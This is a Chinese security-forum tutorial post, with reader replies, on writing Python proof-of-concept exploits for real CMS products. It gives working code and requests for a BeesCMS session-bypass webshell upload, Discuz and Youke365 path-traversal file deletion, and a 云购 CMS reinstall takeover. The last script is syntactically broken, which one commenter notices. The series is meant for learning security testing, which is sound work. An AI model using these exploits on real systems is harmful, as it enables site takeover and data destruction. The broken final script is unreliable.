用户
搜索
回帖奖励 60 魔法币 回复本帖可获得 6 魔法币奖励! 每人限 1 次(中奖概率 80%)
  • TA的每日心情
    奋斗
    2017-8-8 12:39
  • 签到天数: 86 天

    连续签到: 1 天

    [LV.6]常住居民II

    管理员

    Supreme玩家

    Rank: 9Rank: 9Rank: 9

    65

    主题

    2212

    帖子

    2641

    魔法币
    收听
    0
    粉丝
    66
    注册时间
    2016-2-5

    楚核心白帽i春秋签约作者白帽传说春秋游侠秦燕魏赵齐突出贡献

    发表于 2018-1-7 22:19:00 3122294
    本文原创作者:阿甫哥哥,本文属i春秋原创奖励计划,未经许可禁止转载
    0.jpg

    系列文章专辑:
    https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid=96
    目录:
    2x06 文件上传类POC编写(下)

    2x07 CMS重装类漏洞POC编写(上)

    2x08 CMS重装类漏洞POC编写(下)

    2x06 文件上传类POC编写(下)
    这次咱们说的还是上传漏洞
    不过呢,这次可以说算是前台getshell了吧,因为这个是绕过了后台检查的......就跟前台的一样了
    这次咱们用的是Beecms的漏洞
    漏洞分析地址请戳:[送0day]代码审计就该这么来3 beescms getshell
    文章中写了如何利用......
    我还是复现一下吧
    先是打开index.php然后post一下,主要是为了绕过后台检查
    _SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=99999999999




    20.jpg
    然后是admin/upload
    修改Content-Type:为image/png
    然后就成功的getshell了
    21.jpg

    然后就到紧张刺激的编写POC环节,咋说呢
    很简单
    我直接上代码了

    [Python] 纯文本查看 复制代码
    # -*- coding:utf-8 -*- 
    import requests
    
    def poc():
                    login_payload = {
                                    '_SESSION[login_in]':'1',
                                    '_SESSION[admin]':'1',
                                    '_SESSION[login_time]':'999999999999'
                    }
                    login_url = 'http://localhost/uploaddemo/index.php'
                    r = requests.post(url=login_url,data=login_payload)
                    cookie = r.cookies["PHPSESSID"]
                    attack_url = login_url.replace("index.php","admin/upload.php")
                    phpshell = "<?php phpinfo(); ?> "
                    attack_payload ={
                            'up':(
                                    'shell.php',
                                     phpshell,
                                    'image/png',
                            ),
                    }
                    attack_cookie = {'PHPSESSID':cookie}
                    r = requests.post(attack_url,cookies=attack_cookie,files=attack_payload)
                    if '.php' in r.text:
                            print True
                    else:
                            print False
    if __name__ == '__main__':
            poc()

    22.jpg
    2x07 CMS重装类漏洞POC编写(上)
    重装漏洞呢,顾名思义咯,自己想去吧这里呢,我分成了两种吧
    一种是任意文件删除导致的重装漏洞
    一种是通过一些绕过手段导致的重装漏洞
    第一个栗子呢?是discuz的cms,任意文件删除的漏洞,可以通过删除install.lock导致重装....
    漏洞分析地址:Discuz2.5-3.4任意文件删除漏洞分析
    咱们还是先复现吧
    先要登录账号唉并在根目录下建立test.txt用于测试
    23.jpg
    home.php?mod=spacecp&ac=profile&op=base
    POST birthprovince=../../../test.txt&profilesubmit=1&formhash=e2eb50e9


    formhash是自己的,在源代码中可以查看
    24.jpg
    然后post数据之后,这里说下birthprovince参数为文件站点存在的文件,这就是后面可以删除的文件。

    然后构造请求home.php?mod=spacecp&ac=profile&op=base,随便上传个图片
    这里呢,我用html构造了个表单

    [HTML] 纯文本查看 复制代码
    <form action="http://localhost/removedemo/home.php?mod=spacecp&ac=profile&op=base" method="POST" enctype="multipart/form-data">
    <input type="file" name="birthprovince" id="file" />
    <input type="text" name="formhash" value="e2eb50e9"/></p>
    <input type="text" name="profilesubmit" value="1"/></p>
    <input type="submit" value="Submit" />
    </from>

    26.jpg
    然后就发现他不见了
    漏洞也复现完了,咱们该开始写POC了
    这次,我打算分步写吧.....
    先是获取cookie,主要是有验证码....所以就不账号密码登录了

    [Python] 纯文本查看 复制代码
    # -*- coding: utf-8 -*-
    import requests
    
    def GetCookie():
            cookies = {}
            for i in range(0,len(cookie)):
                    name,value=cookie[i].strip().split('=',1)
                    cookies[name] = value
            return cookies
    
    if __name__ == '__main__':
            cookie = raw_input(" Please paste the cookie:").split(';')
            GetCookie()
    
    

    然后是获取formhash了吧
    加个re模块

    [Python] 纯文本查看 复制代码
    # -*- coding: utf-8 -*-
    
    import requests
    import re
    
    def GetCookie():
            cookies = {}
            for i in range(0,len(cookie)):
                    name,value=cookie[i].strip().split('=',1)
                    cookies[name] = value
            return cookies
    def GetFormhash(url):
            cookies = GetCookie()
            login_url = url + '?mod=spacecp'
            text = requests.get(url=login_url,cookies=cookies).text
            v = re.compile('<input type="hidden" name="formhash" value="(.*?)" />')
            result = v.findall(text)
            return result[0]
    if __name__ == '__main__':
            cookie = raw_input(" Please paste the cookie:").split(';')
            url = 'http://localhost/removedemo/index.php'
            print GetFormhash(url)

    27.gif
    然后到post payload了
    [Python] 纯文本查看 复制代码
    # -*- coding: utf-8 -*-
    import urllib2
    import requests
    import re
    
    def GetCookie():
            cookies = {}
            for i in range(0,len(cookie)):
                    name,value=cookie[i].strip().split('=',1)
                    cookies[name] = value
            return cookies
    def GetFormhash(url):
            cookies = GetCookie()
            login_url = url + '?mod=spacecp'
            text = requests.get(url=login_url,cookies=cookies).text
            v = re.compile('<input type="hidden" name="formhash" value="(.*?)" />')
            result = v.findall(text)
            return result[0]
    def attack(url):
            load_url = url + '?mod=spacecp&ac=profile'
            formhash = GetFormhash(url)
            cookies = GetCookie()
            load_payload ={
                                    "birthprovince":targetfile,
                                    "profilesubmit":"1",
                                    "formhash":formhash
                                    }
            requests.post(url=load_url,cookies=cookies,data=load_payload)
            attack_url = url + '/home.php?mod=spacecp&ac=profile&op=base'
            files = {'formhash':(None,formhash),'birthprovince':('0.jpg',open('C:/Users/Administrator/Desktop/python/0.jpg','rb'),'image/jpeg'),'profilesubmit':(None,'1')}
            attack_payload = {
                            'formhash':formhash,
                            'profilesubmit':'1'
                            }
    
            requests.post(url=attack_url,cookies=cookies,data=attack_payload,files=files)
            print " Deleting the file."
            
    if __name__ == '__main__':
            cookie = raw_input(" Please paste the cookie:").split(';')
            targetfile = raw_input(" Please input the target file:")
            url = 'http://localhost/removedemo/index.php'
            attack(url)

    然后运行一下,先建立一个111.txt,方便验证
    28.gif
    然后,打开根目录查看一下,发现木有了
    29.jpg
    第二个栗子,咱们用youke365的栗子,还是通过任意文件漏洞删除的漏洞
    漏洞分析请戳:Youke365_2_4 一处Sql注入漏洞以及一处任意文件删除
    简单的复现一下
    不过是得已知管理员账号密码,不过可以通过那个注入漏洞获得管理员账号密码

    这里呢,咱们就假装知道了吧,我也懒得写那么长的POC
    还是先验证吧
    为了方便验证,咱们先在根目录下建立一个test.txt
    然后登录,admin admin
    然后直接访问
    http://localhost/removedemo2/system/database.php?act=delete&file=../../test.txt
    然后test.txt就不见了
    30.jpg
    然后直接上POC
    这里呢,登录没有验证码,可以用cookie的方法,也可以用账号密码的方法
    本文就演示cookie的方法吧
    [Python] 纯文本查看 复制代码
    # -*- coding: utf-8 -*-
    import requests
    import sys
      
    defaultencoding = 'utf-8'
    if sys.getdefaultencoding() != defaultencoding:
        reload(sys)
        sys.setdefaultencoding(defaultencoding)
    #上面那一段是将Python的默认编码方式修改为utf-8,就不会乱码咯
    def GetCookie():
        cookies = {}
        for i in range(0,len(cookie)):
            name,value=cookie[i].strip().split('=',1)
            cookies[name] = value
        return cookies
    def attack(url):
        cookies = GetCookie()
        attack_url = url + '/system/database.php?act=delete&file=../../test.txt'
        attack_url_req = requests.get(url=attack_url,cookies=cookies)
        if "文件删除成功!" in attack_url_req.text:
            print "True"
        else:
            print "False"
    if __name__ == '__main__':
        cookie = raw_input(" Please paste the cookie:").split(';')
        url = 'http://localhost/removedemo2/'
        attack(url)

    31.gif
    2x08 CMS重装类漏洞POC编写(下)
    咳咳,这节咱们学的就是第二种类型了....
    我没找到啥栗子唉
    这里我用云购cms演示
    漏洞分析,请戳:云购Cms#重装漏洞
    这个复现很简单吧

    http://localhost/yungou/install/setconf.php
    post
    edit=&db_host=localhost&db_user=root&db_pwd=&db_name=yungou&db_prefix=go_&user_name=admin&password=123456&repassword=123456

    直接就重装了

    然后开始写poc吧

    [Python] 纯文本查看 复制代码
    # -*- coding: utf-8 -*-
    import requests
    import sys
    
    defaultencoding = 'utf-8'
    if sys.getdefaultencoding() != defaultencoding:
        reload(sys)
        sys.setdefaultencoding(defaultencoding)
    #上面那一段是将Python的默认编码方式修改为utf-8,就不会乱码咯
    
    def attack(url):
            attack_url = url + '/install/setconf.php'
            attack_payload = {'edit:',
                                            'db_host:localhost',
                                            'db_user:root',
                                            'db_pwd':,
                                            'db_name':'yungou',
                                            'db_prefix':'go_',
                                            'user_name':'admin',
                                            'password':'123456',
                                            'repassword':'123456'
                                            }
            attack_url_req = requests.post(url:attack_url,data:attack_payload)
            if "正在安装中" in attack_url_req.text:
                    print "True"
            else:
                    print "False"
    if __name__ == '__main__':
            url = 'http://localhost/removedemo3/'
            attack(url)

    大概本集就是多吧.....下次再见


    本帖被以下淘专辑推荐:

    一位特爱收藏Supreme的大哥哥....
    发表于 2018-1-7 22:23:29
    说明一下,我的GetCookie是如图写的,这个代码编辑器有问题,将就看吧....我尽力了...
    31.jpg
    本人系列专辑,求关注,求五分
    Python大法从入门到编写POC
    一位特爱收藏Supreme的大哥哥....
    使用道具 举报 回复

    回帖奖励 +6 魔法币

    阿甫哥哥 发表于 2018-1-7 22:23
    说明一下,我的GetCookie是如图写的,这个代码编辑器有问题,将就看吧....我尽力了...

    本人系列专辑,求关 ...

    魔法币~魔法币~魔法币~魔法币~
    使用道具 举报 回复
    发表于 2018-1-9 21:23:45
    shadow15 发表于 2018-1-9 01:47
    又学到新姿势,666666
    最后的云购cms,payload字典中数据不全是键值(key:value)对??[/backcolo ...


    一位特爱收藏Supreme的大哥哥....
    使用道具 举报 回复
    发表于 2018-1-8 22:16:28
    china____style 发表于 2018-1-8 21:40
    尴尬有些看不懂  可我是小白....

    你可以考虑从头看
    一位特爱收藏Supreme的大哥哥....
    使用道具 举报 回复

    回帖奖励 +6 魔法币

    本帖最后由 shadow15 于 2018-1-9 01:50 编辑

    又学到新姿势,666666
    最后的云购cms,payload字典中数据不全是键值(key:value)对??
    使用道具 举报 回复
    发表于 2018-1-8 18:09:35

    回帖奖励 +6 魔法币

    魔法币~魔法币~魔法币~魔法币~魔法币~魔法币~魔法币~魔法币~魔法币~魔法币~
    小白~~~
    使用道具 举报 回复

    回帖奖励 +6 魔法币

    感谢分享哦
    使用道具 举报 回复
    发表于 2018-1-8 18:10:31

    回帖奖励 +6 魔法币

    学习了,
    使用道具 举报 回复
    发表于 2018-1-8 18:10:39

    回帖奖励 +6 魔法币

    过来回复,其实是学习,Python学了老久,一只没怎么用来写POC

    评分

    参与人数 1魔法币 +30 收起 理由
    阿甫哥哥 + 30

    查看全部评分

    使用道具 举报 回复

    回帖奖励 +6 魔法币

    讲得很细致,学习了学习了
    使用道具 举报 回复

    回帖奖励 +6 魔法币

    可以的,人生苦短,我用python
    使用道具 举报 回复
    发表于 2018-1-8 18:14:20

    回帖奖励 +6 魔法币

    学习了,很好
    使用道具 举报 回复

    回帖奖励 +6 魔法币

    魔法币~魔法币~魔法币~魔法币~
    使用道具 举报 回复
    发表于 2018-1-8 19:42:01
    向大佬学习
    喜荣华正好,恨无常又到
    使用道具 举报 回复
    发表于 2018-1-8 21:18:49

    回帖奖励 +6 魔法币

    学习python 还是很有用的
    使用道具 举报 回复

    回帖奖励 +6 魔法币

    尴尬有些看不懂  可我是小白....
    使用道具 举报 回复
    讲得很细致,学习了学习
    使用道具 举报 回复
    123下一页
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册